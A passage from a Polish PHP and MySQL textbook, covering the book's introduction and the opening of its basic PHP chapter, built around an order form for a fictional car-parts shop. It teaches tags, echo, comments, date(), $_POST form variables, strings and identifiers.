Nie wszystkie produkty o otwartym dostępie do kodu źródłowego mają swą firmę macierzystą,
która zapewniałaby wsparcie techniczne, szkolenia, konsultacje i certyfikacje. W przypadku MySQL
wszystkie te usługi można uzyskać od firmy Oracle (pozyskała ona MySQL wraz z wykupieniem
firmy Sun Microsystems, która wcześniej zakupiła firmę MySQL AB — pierwotnego właści-
ciela bazy).

Co nowego w MySQL 5.x?


W momencie oddawania tej książki do rąk Czytelników najnowsza wersja bazy danych MySQL
ma numer 5.7.

W tej wersji bazy wprowadzono między innymi:


 szeroki zakres poprawek związanych z bezpieczeństwem,
 wsparcie dla kolumn typu FULLTEXT w tabelach InnoDB,
 API typu NoSQL do obsługi tabel InnoDB,
 wsparcie dla partycjonowania,
 usprawnienia replikacji, w tym replikację na poziomie wierszy oraz GTID
(globalne identyfikatory transakcji),
 obsługa puli wątków,
 wymienne mechanizmy uwierzytelniania (wtyczki uwierzytelniające),
 możliwość skalowania na większą liczbę rdzeni procesorów,
 lepsze narzędzia diagnostyczne,
 użycie InnoDB jako domyślnego mechanizmu przechowywania baz danych,
 wsparcie dla IPv6,
 API do obsługi wtyczek,
 planowanie zdarzeń,
 automatyczne uaktualnienia.

Inne zmiany związane są ze zwiększeniem zakresu zgodności ze standardem ANSI oraz przyspie-
szeniem pracy serwera.
Wprowadzenie 29

Jeżeli nadal używana jest wczesna wersja 4.x lub któraś z wersji 3.x serwera MySQL, należy pa-
miętać, że począwszy od wersji 4.0, produkt ten wzbogacono o następujące mechanizmy:
 obsługa widoków,
 procedury składowane,
 wyzwalacze i kursory,
 obsługa podzapytań,
 typy GIS służące do przechowywania danych geograficznych,
 ulepszona obsługa różnych wersji lokalizacyjnych,
 standardowa dostępność modułu InnoDB, zapewniającego przechowywanie danych
z wykorzystaniem transakcji,
 pamięć podręczna zapytań MySQL, dzięki której znacznie zwiększono prędkość
wykonywania powtarzalnych zapytań, tak często używanych w ramach aplikacji WWW.

Układ książki
Książka została podzielona na pięć części.

Część I, „Stosowanie PHP”, zawiera przegląd głównych elementów języka PHP wraz z przykła-
dami. Każdy jest przykładem rzeczywistym, wykorzystywanym przy tworzeniu witryny związanej
z e-commerce, nie zaś kodem „zabawkowym”. Część ta rozpoczyna się od rozdziału 1., „Podsta-
wowy kurs PHP”. Osoby, które posługują się PHP, mogą ograniczyć się do pobieżnego przejrzenia
tej części. Czytelnicy nieznający tego języka lub rozpoczynający dopiero naukę programowania
powinni poświęcić jej nieco więcej uwagi.

Część II, „Stosowanie MySQL”, zawiera opis pojęć i projektowania związanych z wykorzystaniem
systemów relacyjnych baz danych, takich jak MySQL, wykorzystaniem SQL, łączeniem bazy
danych MySQL ze światem za pomocą PHP oraz zaawansowanymi tematami dotyczącymi MySQL,
takimi jak bezpieczeństwo i optymalizacja.

Część III, „E-commerce i bezpieczeństwo”, zawiera opis ogólnych kwestii związanych


z tworzeniem witryny internetowej w dowolnym języku. W dalszych częściach przedstawiamy spo-
soby wykorzystania PHP i MySQL do uwierzytelniania użytkowników i bezpiecznego gromadze-
nia, transmisji i przechowywania danych.

Część IV, „Zaawansowane techniki PHP”, zawiera szczegółowy opis niektórych podstawowych,
wbudowanych funkcji PHP. Autorzy wybrali grupy funkcji wykorzystywane zazwyczaj do two-
rzenia aplikacji internetowej. Opisane zostały: interakcja z serwerem, interakcja z siecią, gene-
rowanie obrazków, manipulacje datą i godziną oraz obsługa sesji.

Część V, „Tworzenie praktycznych projektów PHP i MySQL”, to nasza ulubiona część. Zawiera
ona opis kwestii praktycznych, takich jak zarządzanie dużymi projektami i usuwanie błędów.
Przedstawia także przykładowe projekty świadczące o efektywności i wszechstronnych możli-
wościach PHP i MySQL.
30 PHP i MySQL. Tworzenie stron WWW. Vademecum profesjonalisty

Kody źródłowe
Kody źródłowe przykładowych programów prezentowanych w książce, można pobrać z serwera
FTP wydawnictwa Helion — ftp://ftp.helion.pl/przyklady/phmsv5.zip.

Uwagi końcowe
Autorzy mają nadzieję, że Czytelnicy, za ich przykładem, polubią naukę PHP i MySQL. Korzystanie
z tych produktów jest naprawdę satysfakcjonujące. Czytelnik, który przyswoi sobie wiedzę przed-
stawioną w tej książce, może dołączyć do tysięcy programistów WWW sięgających po te solidne
i skuteczne narzędzia, aby bez trudu tworzyć rzeczywiste, dynamiczne aplikacje internetowe.
Część I
Stosowanie PHP
32 Część I  Stosowanie PHP
Rozdział 1.  Podstawowy kurs PHP 33

Rozdział 1.
Podstawowy kurs PHP
Rozdział ten to krótki przegląd składni i konstrukcji języka PHP. Dlatego też osoby posługujące się
tym językiem mogą uzupełnić ewentualne luki w wiedzy. Użytkownicy, którzy znają inne języki
programowania, takie jak C, Perl lub Python, z pewnością nabiorą wprawy w stosowaniu PHP.

Książka ta wprowadza w arkana PHP poprzez analizę wielu przykładów z życia codziennego,
zaczerpniętych z doświadczeń autorów w tworzeniu witryn internetowych. Podręczniki progra-
mowania często uczą podstawowej składni na bardzo prostych przykładach, prezentują opisy składni
i funkcji. My zaś pokazujemy stosowanie języka PHP w praktyce.

Radzimy gruntownie przeanalizować przedstawione przykłady — wpisać je, wprowadzać mody-


fikacje, a potem nauczyć się usuwać błędy. Wszystkie przykłady są dostępne na serwerze FTP
wydawnictwa Helion.

Rozdział ten rozpoczyna się od przykładowego elektronicznego formularza zamówień i na jego pod-
stawie przedstawiono sposób używania zmiennych, operatorów i wyrażeń w PHP. Opisane są
również typy zmiennych i reguły pierwszeństwa operatorów. Prezentujemy także sposoby dostępu
do zmiennych formularza oraz metody manipulacji nimi w celu obliczenia sumy zamówienia
klienta i podatku pobieranego od tej kwoty.

W dalszej części przykładowy formularz zamówienia został rozwinięty poprzez dodanie skryptu
PHP, który sprawdza poprawność wprowadzonych danych. Omówiona została idea wartości
boolowskich oraz przykłady użycia instrukcji if i else, operatora ?: oraz instrukcji switch.
W końcowej części rozdziału znajduje się opis pętli — kod PHP generujący powtarzające się ta-
blice HTML.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 osadzanie PHP w HTML-u,
 dodawanie zawartości dynamicznej,
 dostęp do zmiennych formularza,
 identyfikatory,
 zmienne zadeklarowane przez użytkownika,
 typy zmiennych,
 przypisywanie wartości zmiennym,
 deklarowanie i używanie stałych,
 zasięg zmiennych,
 operatory i pierwszeństwo,
34 Część I  Stosowanie PHP

 obliczanie wartości wyrażeń,


 zarządzanie zmiennymi,
 podejmowanie decyzji za pomocą instrukcji if, else i switch,
 wykorzystywanie iteracji — pętle while, do i for.

Zastosowanie PHP
Praca nad przykładami przedstawionymi w tym rozdziale oraz w pozostałej części książki wymaga
dostępu do serwera WWW z zainstalowanym PHP. Aby maksymalnie wykorzystać przykłady
i opisy konkretnych przypadków, należy je uruchomić i podjąć próbę modyfikacji. Żeby to zrobić,
potrzebne jest miejsce do przeprowadzania testów.

Jeżeli PHP nie jest zainstalowane, trzeba rozpocząć od zainstalowania go samodzielnie lub przez
administratora systemu. Instrukcja znajduje się w dodatku A, „Instalacja Apache, PHP i MySQL”.

Tworzenie przykładowej aplikacji:


„Części samochodowe Janka”
Do najbardziej popularnych zadań każdego obsługiwanego przez serwer języka skryptowego należy
przetwarzanie formularzy HTML. Poznawanie PHP rozpoczynamy od implementacji formularza
dla „Części samochodowych Janka”, fikcyjnej firmy zajmującej się sprzedażą części. Cały
kod przykładów przedstawionych w tym rozdziale znajduje się w katalogu o nazwie rozdzial_01
(przykłady są dostępne na serwerze FTP wydawnictwa Helion — ftp://ftp.helion.pl/przyklady/
phmsv5.zip.).

Formularz zamówienia
Programista HTML pracujący dla firmy Janka stworzył formularz zamówienia na części, które
Janek sprzedaje. Ten stosunkowo prosty formularz widoczny na rysunku 1.1 jest podobny do
wielu innych istniejących w sieci WWW. Na początku Janek chciałby wiedzieć, co zamówił jego
klient, obliczyć sumę tego zamówienia oraz ustalić kwotę podatku VAT od tego zamówienia.

Część kodu HTML dla tego formularza jest przedstawiona na listingu 1.1.

Listing 1.1. formularz.html — kod HTML dla podstawowego formularza zamówienia Janka
<form action="przetworzzamowienie.php" method="post">
<table style="border: 0px;">
<tr style="background: #cccccc;">
<td style="width: 150px; text-align: center;">Produkt</td>
<td style="width: 15px; text-align: center;">Ilość</td>
</tr>
<tr>
<td>Opony</td>
<td><input type="text" name="iloscopon" size="3" maxlength="3" /></td>
</tr>
Rozdział 1.  Podstawowy kurs PHP 35

Rysunek 1.1.
Na początkowym
formularzu zamówienia
Janka zapisano jedynie
produkty i ich ilość

<tr>
<td>Olej</td>
<td><input type="text" name="iloscoleju" size="3" maxlength="3" /></td>
</tr>
<tr>
<td>Świece Zapłonowe</td>
<td><input type="text" name="iloscswiec" size="3" maxlength="3" /></td>
</tr>
<tr>
<td colspan="2" style="align: center"><input type="submit" value="Złóż zamówienie" /></td>
</tr>
</table>
</form>

Należy zwrócić uwagę, że akcja formularza została ustawiona na nazwę skryptu PHP, który będzie
przetwarzał zamówienie klienta (zostanie on napisany później). Ogólnie rzecz biorąc, wartość
atrybutu ACTION to URL, który zostanie załadowany, kiedy użytkownik naciśnie przycisk Złóż
zamówienie. Dane, które wprowadził użytkownik do formularza, zostaną przesłane do tego
URL-a za pomocą metody protokołu HTTP podanej w atrybucie method — czy będzie to get
(dodane na końcu URL-a), czy też post (wysłane jako osobny komunikat).

Drugą kwestią wartą uwagi są nazwy pól formularza: iloscopon, iloscoleju, iloscswiec, użyte
ponownie w skrypcie PHP. Z tego powodu ważne jest nadawanie polom formularza nazw, które
coś znaczą i mogą być łatwo zapamiętane po rozpoczęciu pisania skryptu PHP. Niektóre edytory
HTML domyślnie tworzą nazwy pól, takie jak pole23, które niełatwo zapamiętać. Zadanie pro-
gramisty PHP jest o wiele łatwiejsze, jeżeli nazwy opisują wpisywane w te pola dane.

Możliwe jest takie zaadaptowanie standardu kodowania nazw pól, aby wszystkie nazwy na stronach
witryny używały identycznego formatu. Ułatwia to zapamiętanie na przykład skrótów wyrazów
w nazwie pola formularza lub stosowanie znaku podkreślenia jako spacji.
36 Część I  Stosowanie PHP

Przetwarzanie formularza
Aby przetworzyć formularz, trzeba utworzyć skrypt wymieniony w atrybucie ACTION znacznika
form, o nazwie przetworzzamowienie.php. Należy otworzyć edytor tekstów, utworzyć ten plik
i wpisać następujący kod:
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — wyniki zamówienia</title>
</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Wyniki zamówienia</h2>
</body>
</html>

Warto podkreślić, że wszystko, co zostało napisane do tej pory, to czysty kod HTML. Teraz nad-
szedł czas, aby dodać prosty kod PHP do skryptu.

Osadzanie PHP w HTML


Pod nagłówkiem <h2> w powyższym pliku należy dodać następujące wiersze:
<?php
echo '<p>Zamówienie przyjęte.</p>';
?>

Następnie trzeba zapisać plik, załadować go w przeglądarce poprzez wypełnienie formularza


Janka i kliknąć przycisk Złóż zamówienie. Rezultat powinien być zbliżony do wyniku pokazanego
na rysunku 1.2.

Rysunek 1.2.
Tekst przekazany
w konstrukcji PHP
echo został pokazany
przez przeglądarkę

Warto zauważyć, że kod PHP został osadzony w zwyczajnie wyglądającym pliku HTML. W dalszej
kolejności należy obejrzeć źródło w przeglądarce. Powinien pojawić się następujący kod:
<!DOCTYPE html>
<html>
<head>
<title>Części samochodowe Janka — wyniki zamówienia</title>
Rozdział 1.  Podstawowy kurs PHP 37

</head>
<body>
<h1>Części samochodowe Janka</h1>
<h2>Wyniki zamówienia</h2>
<p>Zamówienie przyjęte.</p></body>
</html>

Żaden fragment czystego kodu PHP nie jest widoczny, ponieważ interpreter języka PHP przetworzył
skrypt i zamienił go na jego wyniki. Oznacza to, że z PHP można utworzyć czysty kod HTML,
możliwy do przeglądania w każdej przeglądarce — innymi słowy, przeglądarka użytkownika nie
musi rozumieć języka PHP.

Powyższy przykład ukazuje ideę przetwarzania skryptów przez serwer. Kod PHP jest interpreto-
wany i wykonywany przez serwer WWW, natomiast JavaScriptu i innych technologii — przez
przeglądarkę WWW na komputerze użytkownika.

Kod znajdujący się w tym pliku składa się z czterech części tekstowych:
 kodu HTML,
 znaczników PHP,
 instrukcji PHP,
 odstępów.

Do kodu można również dodać komentarze.

Większa część wierszy kodu przedstawionych w przykładzie to czysty kod HTML.

Zastosowanie znaczników PHP


Kod PHP w powyższym przykładzie rozpoczynał się znakiem <? i kończył ?>. Jest to konstrukcja
podobna do wszystkich znaczników HTML, które rozpoczynają się symbolem „mniejsze niż” (<),
a kończą symbolem „większe niż” (>). Symbole te (<?php oraz ?>), są nazywane znacznikami
PHP i komunikują serwerowi WWW, gdzie rozpoczyna się i kończy kod PHP. Każdy tekst pomię-
dzy znacznikami zostanie zinterpretowany jako PHP, a poza nimi — jako normalny kod HTML.
Znaczniki PHP pozwalają na ucieczkę od HTML.

Można wybierać różne style znaczników. Przyjrzyjmy się im bliżej.

Istnieją dwa różne style znaczników PHP. Wszystkie poniższe fragmenty kodu są równoznaczne.
 Styl XML
<?php echo '<p>Zamówienie przyjęte.</p>'; ?>

Takiego stylu znaczników będziemy używać w książce, gdyż jest to preferowany styl
znaczników PHP. Administrator serwera nie ma możliwości jego wyłączenia, a więc mamy
gwarancję, że będzie on dostępny na każdym serwerze. Nabiera to szczególnego znaczenia
w przypadku aplikacji, które prawdopodobnie będą używane w różnych środowiskach.
Ten styl znaczników może być używany z dokumentami XML (Extensible Markup
Language — Rozszerzalny Język Oznaczania). Ogólnie rzecz biorąc, zaleca się stosowanie
tego właśnie stylu znaczników PHP.
 Styl krótki
<? echo '<p>Zamówienie przyjęte.</p>'; ?>
38 Część I  Stosowanie PHP

Ten najprostszy styl znaczników jest skonstruowany według standardów przetwarzania


instrukcji SGML (Standard Generalized Markup Language — Standardowy Ogólny Język
Oznaczania). Aby posługiwać się tym najkrótszym typem znaczników, należy skompilować
PHP z włączonymi krótkimi znacznikami bądź włączyć je w pliku konfiguracyjnym.
Szczegółowe informacje na ten temat znajdują się w dodatku A. Używanie takiego stylu
znaczników nie jest zalecane, ponieważ nie będzie ono rozpoznawane w wielu środowiskach,
gdyż jego obsługa jest domyślnie wyłączona.

Instrukcje PHP
Interpreter PHP działa dzięki instrukcjom umieszczonym między znacznikami otwierającymi
i zamykającymi. W poprzednim przykładzie wystąpił tylko jeden typ instrukcji:
echo '<p>Zamówienie przyjęte.</p>';

Jak łatwo się domyślić, zastosowanie konstrukcji echo daje bardzo prosty rezultat: wyświetlenie
łańcucha znaków przekazanych do przeglądarki. Na rysunku 1.2 przedstawiono wynik — w oknie
pojawia się tekst Zamówienie przyjęte.

Należy zauważyć średnik pojawiający się na końcu instrukcji echo. Jego funkcją jest odseparowa-
nie instrukcji PHP, podobnie jak w języku polskim rozdziela się zdania kropką. Średnik spełnia
podobne funkcje w językach Java i C.

Do często popełnianych błędów składni należy opuszczenie średnika. Na szczęście, równie łatwo
go odnaleźć i naprawić.

Odstępy
Znaki tworzące przerwy — takie jak nowe wiersze (powrót karetki), spacje i znaki tabulacji —
noszą nazwę odstępów. Z połączenia akapitów powyższego i poniższego wynika jeden spójny akapit
wyjaśniający, w jaki sposób odstępy są ignorowane w PHP i HTML.

Jak wiadomo, przeglądarki ignorują odstępy w HTML-u. Podobnie działa mechanizm PHP. Warto
przeanalizować dwa poniższe fragmenty kodu HTML:
<h1>Witamy w "Częściach samochodowych Janka"!</h1><p>Co Państwo zechcą zamówić dzisiaj?</p>

i
<h1>Witamy w "Częściach samochodowych
Janka"!</h1>
<p>Co Państwo zechcą
zamówić dzisiaj?</p>

Przedstawione fragmenty kodu HTML dają identyczne rezultaty, ponieważ są tak samo interpre-
towane przez przeglądarkę. Można jednak — co jest zalecane — używać odstępów w HTML-u
jako pomocy w celu poprawienia czytelności kodu HTML. Podobne zasady obowiązują w PHP.
Nie ma potrzeby wstawiania odstępu między instrukcjami PHP, ale kod będzie o wiele bardziej
zrozumiały, jeżeli każda z nich zostanie umieszczona w osobnym wierszu. Na przykład:
echo 'witaj';
echo 'świecie';
i
echo 'witaj ';echo 'świecie';

są równoznaczne, lecz wersja pierwsza jest łatwiejsza do odczytania.


Rozdział 1.  Podstawowy kurs PHP 39

Komentarze
Komentarze znaczą dokładnie tyle, co ich nazwa: w kodzie spełniają funkcję notatek dla czytają-
cych. Mogą być one użyte w celu wyjaśnienia przeznaczenia skryptu, podania jego autora, wyja-
śnienia sposobu zapisu, wskazania daty ostatniej modyfikacji itd. Znajdują się we wszystkich, poza
najprostszymi, skryptach PHP.

Interpretator PHP zignoruje każdy tekst zawarty w komentarzu. Czyni tak zwłaszcza analizator skła-
dniowy, który omija komentarze, traktując je jak odstępy.

PHP rozpoznaje komentarze w stylu C, C++ i skryptów powłoki systemowej.

Poniżej znajduje się wielowierszowy komentarz w stylu C, który może pojawić się na początku
skryptu:
/* Autor: Janek Nowak
Ostatnia modyfikacja: 10 kwietnia
Ten skrypt przetwarza zamówienia klientów
*/

Komentarze wielowierszowe powinny rozpoczynać się symbolem /*, a kończyć */. Tak jak
w języku C, nie mogą być one zagnieżdżane.

Można również używać komentarzy jednowierszowych, zarówno w stylu C++:


echo '<p>Zamówienie przyjęte.'; // Początek wydruku zamówienia

jak i w stylu skryptów powłoki:


echo '<p>Zamówienie przyjęte.'; # Początek wydruku zamówienia

W obu stylach wszystko, co następuje po symbolu komentarza (# lub //), jest traktowane jako
komentarz. Dzieje się tak, dopóki nie zostanie osiągnięty koniec wiersza bądź kończący znacznik
PHP, w zależności od tego, co pojawi się wcześniej.

W poniższym wierszu kodu tekst oto komentarz, występujący przed znacznikiem zamykającym,
stanowi część komentarza. Tekst a to już nie, znajdujący się za znacznikiem zamykającym, będzie
natomiast traktowany jako zwykły kod HTML, ponieważ nie występuje on między znacznikami:
// oto komentarz ?> a to już nie

Dodawanie zawartości dynamicznej


PHP nie został dotychczas użyty do zadań, których nie można by wykonać w czystym kodzie HTML.

Podstawowym powodem stosowania przetwarzanego przez serwer języka skryptowego jest moż-
liwość dostarczania użytkownikom stron o dynamicznej treści. Jest to ważna funkcja, ponieważ
zawartość dostosowująca się do potrzeb użytkownika bądź ulegająca nieustannym zmianom przy-
kuwa na trwałe uwagę odwiedzających stronę. PHP pozwala na łatwe zastosowanie tej funkcji.

Na początek prosty przykład. Należy zamienić kod PHP w pliku przetworzzamowienie.php nastę-
pującym kodem:
<?php
echo '<p>Zamówienie przyjęte o ';
echo date('H:i, jS F Y');
echo '</p>';
?>
40 Część I  Stosowanie PHP

Ten sam kod można by również zapisać w jednym wierszu, wykorzystując do tego operator kon-
katenacji (.), na przykład:
<?php
echo '<p>Zamówienie przyjęte o '.date('H:i, jS F Y').'</p>';
?>

W powyższym kodzie wbudowana w PHP funkcja date() została zastosowana po to, aby prze-
kazać klientowi datę i godzinę przyjęcia jego zamówienia. Dane te ulegną zmianie przy każdym
uruchomieniu skryptu. Wynik jednego z uruchomień jest przedstawiony na rysunku 1.3.

Rysunek 1.3.
Funkcja PHP date()
zwraca sformatowaną
datę

Wywoływanie funkcji
Warto zwrócić uwagę na ogólny sposób wywoływania funkcji date(). PHP posiada bardzo roz-
budowaną bibliotekę funkcji używanych do tworzenia aplikacji WWW. Większość z nich wymaga
dostarczenia im pewnych danych oraz zwraca inne.
Oto wywołanie funkcji:
echo date('H:i, jS F')

Należy zauważyć, że w nawiasach znajduje się łańcuch znaków przekazywany funkcji. Element
znajdujący się w nawiasach nazywany jest argumentem lub parametrem funkcji. Argumenty są
używane przez funkcję na wejściu, aby zwrócić określone wyniki.

Używanie funkcji date()


Argument przekazywany funkcji date() powinien być łańcuchem opisującym format, czyli pożą-
dany styl zwracanego wyniku. Każda z liter w łańcuchu przedstawia jedną część zapisu daty
i godziny. H to godzina w formacie dwudziestoczterogodzinnym, w razie konieczności poprze-
dzona zerami, i — minuty z występującym, kiedy to potrzebne, na pierwszym miejscu zerem, j —
dzień miesiąca bez poprzedzającego zera, S przedstawia przyrostek porządkowy (w tym przy-
padku th), a F to miesiąc podany słownie.

Jeśli funkcja date() wyświetli ostrzeżenie informujące o tym, że nie została określona
strefa czasowa, to do pliku php.ini należy dodać dyrektywę konfiguracyjną date.timezone.
Więcej informacji na ten temat można znaleźć w przykładowym pliku php.ini zamieszczonym
w dodatku A.

Pełna lista formatów rozpoznawanych przez funkcję date() znajduje się w rozdziale 19.
Rozdział 1.  Podstawowy kurs PHP 41

Dostęp do zmiennych formularza


Podstawowym celem stosowania formularza jest przyjęcie zamówienia klienta. W PHP bardzo
łatwo jest uzyskać szczegółowe informacje o tym zamówieniu, jednak konkretna metoda zależy
od wykorzystywanej wersji PHP oraz ustawień w pliku php.ini.

Zmienne formularza
W skrypcie PHP można uzyskać dostęp do każdego pola formularza, traktując je jako zmienne
o nazwach identycznych jak nazwy pól. Nazwy zmiennych PHP można rozpoznać po tym, że
zaczynają się od znaku $. (Zapominanie o znaku dolara jest częstym błędem programistycznym).
Zależnie od wersji PHP i ustawień można stosować kilka różnych sposobów uzyskiwania dostępu
do danych za pośrednictwem zmiennych. W ostatnich wersjach PHP wszystkie z tych metod
oprócz jednej zostały uznane za przestarzałe, dlatego osoby, które używały PHP w przeszłości, mu-
szą zwrócić na to uwagę.
Dostęp do zawartości pola iloscopon można uzyskać w następujący sposób:
$_POST['iloscopon']

$_POST jest tablicą zawierającą dane przesłane żądaniem HTTP POST, czyli wysłane z formularza
używającego metody POST. Istnieją trzy takie tablice, które mogą zawierać dane przesyłane z formu-
larzy: $_POST, $_GET oraz $_REQUEST. Jedna z tablic — $_GET lub $_POST — zawiera wszystkie
szczegółowe dane o wszystkich zmiennych formularza. To, która z tych tablic zostanie użyta,
zależy od tego, czy metodą wykorzystywaną w formularzu była metoda GET, czy POST. Ponadto
wszystkie dane przesłane którąkolwiek z tych dwóch metod są dostępne w tablicy $_REQUEST.

Jeśli formularz zostanie przesłany metodą POST, to dane wpisane w polu iloscopon będą przecho-
wywane w $_POST['iloscopon']. Jeżeli natomiast zostanie on przesłany metodą GET, dane będą
się znajdować w $_GET['iloscopon'].

Tablice te są nowymi tak zwanymi tablicami superglobalnymi. Wrócimy do nich, gdy będziemy
omawiać zasięg zmiennych.

Zajmijmy się przykładem, w którym utworzone zostaną łatwiejsze w użyciu kopie zmiennych.

W celu skopiowania wartości jednej zmiennej do drugiej zmiennej należy zastosować operator
przypisania, którym w PHP jest znak równości (=). Poniższy wiersz kodu utworzy nową zmienną
o nazwie $iloscopon i skopiuje zawartość $_POST['iloscopon'] do nowej zmiennej:
$iloscopon = $_POST['iloscopon'];

Umieśćcie ten blok kodu na początku skryptu przetwarzającego formę. Wszystkie pozostałe skrypty
z tej książki obsługujące dane z formy będą zawierać na początku analogiczny blok. Kod ten nie
spowoduje wygenerowania żadnych danych wyjściowych, dlatego nie będzie miało znaczenia,
czy umieścicie go powyżej, czy poniżej znacznika <html> i innych znaczników HTML rozpoczyna-
jących stronę. Generalnie umieszczamy takie bloki na samym początku skryptu, aby łatwiej było
je znaleźć.
<?php
//utwórz krótkie nazwy zmiennych
$iloscopon = $_POST['iloscopon'];
$iloscoleju = $_POST['iloscoleju'];
$iloscswiec = $_POST['iloscswiec'];
?>
42 Część I  Stosowanie PHP

Kod ten spowoduje utworzenie trzech nowych zmiennych: $iloscopon, $iloscoleju oraz
$iloscswiec, a następnie przypisze im dane wysłane z formy metodą POST.

Aby wyświetlić wartości tych zmiennych na stronie w przeglądarce, należy użyć następującego zapisu:
echo $iloscopon.' opon<br />';.

Takie rozwiązanie nie jest jednak zalecane.

Na tym etapie nie sprawdzamy jeszcze zawartości zmiennych, aby upewniać się, że w każdym
polu formularza wpisano sensowne dane. Można samodzielnie wpisać jakieś zupełnie nieprawi-
dłowe dane i sprawdzić, co się stanie. Po przeczytaniu całego rozdziału nic jednak nie stanie na
przeszkodzie, by dodać do skryptu fragment kodu weryfikującego poprawność danych.

Pobranie danych bezpośrednio od użytkownika i wyświetlenie ich w przeglądarce JEST z punktu


widzenia bezpieczeństwa działaniem wyjątkowo ryzykownym, którego w żadnym razie nie zale-
camy. Dane wejściowe trzeba najpierw przefiltrować. Filtrowanie danych zostanie opisane w roz-
dziale 4., „Manipulowanie łańcuchami znaków i wyrażenia regularne”, a zagadnienia bezpieczeństwa
szczegółowo omówimy w rozdziale 14., „Zagrożenia bezpieczeństwa aplikacji internetowych”.

Na razie wystarczy wiedzieć, że dane wpisane przez użytkownika można wyświetlić w przeglą-
darce, przekazując je wcześniej do funkcji htmlspecialcharc(). Na przykład w poniższym przykła-
dzie moglibyśmy to zrobić w następujący sposób:
echo htmlspecialchars($iloscopon).' opon<br />';

Aby skrypt zaczął dawać widoczne efekty, należy umieścić na jego końcu poniższy fragment
kodu PHP:
echo '<p>Przyjęto następujące zamówienie:</p>';
echo htmlspecialchars($iloscopon).' opon<br />';
echo htmlspecialchars($iloscoleju).' butelek oleju<br />';
echo htmlspecialchars($iloscswiec).' świec zapłonowych<br />';

Po odświeżeniu zawartości okna przeglądarki skrypt powinien dać rezultat podobny do przedstawio-
nego na rysunku 1.4. Konkretne wartości zależą oczywiście od danych wpisanych do formularza.

Rysunek 1.4.
W skrypcie
przetworzzamowienie.php
łatwo uzyskać dostęp
do zmiennych formularza
wpisanych przez
użytkownika

W kolejnych podrozdziałach poruszymy kilka spraw, które są w tym przykładzie godne uwagi.
Rozdział 1.  Podstawowy kurs PHP 43

Łączenie łańcuchów znaków


W przykładowym skrypcie instrukcja echo została użyta do wyświetlenia informacji wpisanych
w pola formularza, po czym następował tekst wyjaśniający. Po bliższym przyjrzeniu się instruk-
cjom echo można zauważyć, że pomiędzy nazwą zmiennej i następującym po niej tekstem została
umieszczona kropka (.), na przykład:
echo htmlspecialchars($iloscopon).' opon<br />';

Kropka, nazywana operatorem łączenia łańcuchów znaków, jest używana do dodawania do siebie
łańcuchów (fragmentów tekstu). Często stosuje się ją przy wyświetlaniu wyników w przeglądarce
z użyciem instrukcji echo. W ten sposób można uniknąć konieczności wpisywania kilku takich
instrukcji.

Każdą zmienną niebędącą tablicą można również umieścić w łańcuchu znaków otoczonym cudzy-
słowami w celu jej wyświetlenia (tablice są nieco bardziej skomplikowane, dlatego łączeniem
tablic i łańcuchów znaków zajmiemy się w rozdziale 4.). Na przykład:
$iloscopon = htmlspecialchars($iloscopon);
echo "$iloscopon opon<br />";

Wyrażenie to jest równoznaczne z pierwszą instrukcją przedstawioną w tym punkcie. Każdy z tych
formatów jest uznawany, a wybór jednego z nich — całkowicie dowolny. Proces taki, czyli zastę-
powanie wewnątrz łańcucha znaków zmiennej przez jej zawartość, nazywa się interpolacją.

Zwróćcie uwagę, że interpolacja jest cechą wyłącznie łańcuchów znaków otoczonych cudzysłowa-
mi. Nie można w taki sam sposób umieszczać nazw zmiennych w łańcuchach znaków otoczonych
apostrofami. Uruchomienie poniższego wiersza kodu:
echo '$iloscopon opon<br />';

spowoduje wysłanie do przeglądarki echo '$iloscopon opon<br />'. W przypadku zastosowania


cudzysłowów nazwa zmiennej zostanie zastąpiona jej wartością. W apostrofach nazwa zmiennej lub
każdy inny tekst zostaną wysłane w postaci niezmienionej.

Zmienne i łańcuchy znaków


W każdej z powyższych instrukcji echo należy odróżnić zmienną od łańcucha znaków. Zmienne
to symbole danych, łańcuchy są natomiast danymi samymi w sobie. Stosując fragment danych
w programie takim jak powyższy, w celu odróżnienia od zmiennej nazywamy go łańcuchem
znaków (w skrócie: łańcuchem). $iloscopon to zmienna, symbol reprezentujący dane wprowadzone
przez klienta. Z kolei ' opon<br />' to łańcuch znaków, bezpośrednio posiadający wartość. Istnieje
wyjątek od tej reguły. W drugim z powyższych przykładów interpreter PHP zamienił nazwę znaj-
dującej się w łańcuchu znaków zmiennej $iloscopon na wartość przechowywaną w zmiennej.

W PHP istnieją dwa typy łańcuchów znaków: zapisane w cudzysłowach i zapisane w apostrofach.
PHP próbuje interpretować łańcuchy (czyli wyszukiwać nazwy zmiennych i zamieniać je na ich
wartości) w cudzysłowach, dając rezultat, który można zobaczyć powyżej. Łańcuchy w apostro-
fach zostaną potraktowane jako prawdziwe surowe dane.

Istnieje również trzeci sposób definiowania łańcuchów. Jest to składnia heredoc (<<<), znana
już użytkownikom języka Perl. Pozwala ona na zgrabne definiowanie długich łańcuchów znaków
poprzez używanie znacznika zamykającego, który oznacza koniec łańcucha. Poniższy przykładowy
kod tworzy łańcuch złożony z trzech wierszy, a następnie go wyświetla:
44 Część I  Stosowanie PHP

echo <<<koniec
wiersz 1
wiersz 2
wiersz 3
koniec

Znacznik koniec ma charakter całkowicie arbitralny. Wystarczy jedynie zagwarantować, że nie


pojawi się on w tekście. Aby zamknąć łańcuch heredoc, należy umieścić znacznik zamykający
na początku wiersza.

Łańcuchy heredoc podlegają interpolacji, podobnie jak łańcuchy w cudzysłowach.

Identyfikatory
Identyfikatory to nazwy zmiennych. (Nazwy funkcji i klas również są identyfikatorami;
funkcje i klasy zostaną omówione w rozdziałach 5. i 6.). Istnieje kilka prostych zasad dotyczących
identyfikatorów:
 Identyfikatory, które mogą mieć dowolną długość, składają się z liter, cyfr, znaków
podkreślenia i znaków dolara.
 Identyfikatory nie mogą rozpoczynać się cyfrą.
 W PHP rozróżniana jest wielkość liter identyfikatorów; $iloscopon to nie to samo
co $IloscOpon. Próba zamiennego ich stosowania to częsty błąd programistyczny.
Wyjątkiem są funkcje wbudowane w PHP — ich nazwy mogą być używane w każdej formie.
 Identyfikatory zmiennych mogą mieć nazwę identyczną z wbudowaną funkcją. Należy
jednak unikać tego kłopotliwego rozwiązania. Ponadto nie można utworzyć funkcji
o identyfikatorze takim samym jak funkcja wbudowana.

Oprócz zmiennych przekazanych z formularza HTML można zadeklarować i używać także


własnych.

Jedną z cech PHP jest to, że nie trzeba deklarować zmiennych przed ich użyciem. Zmienna zostanie
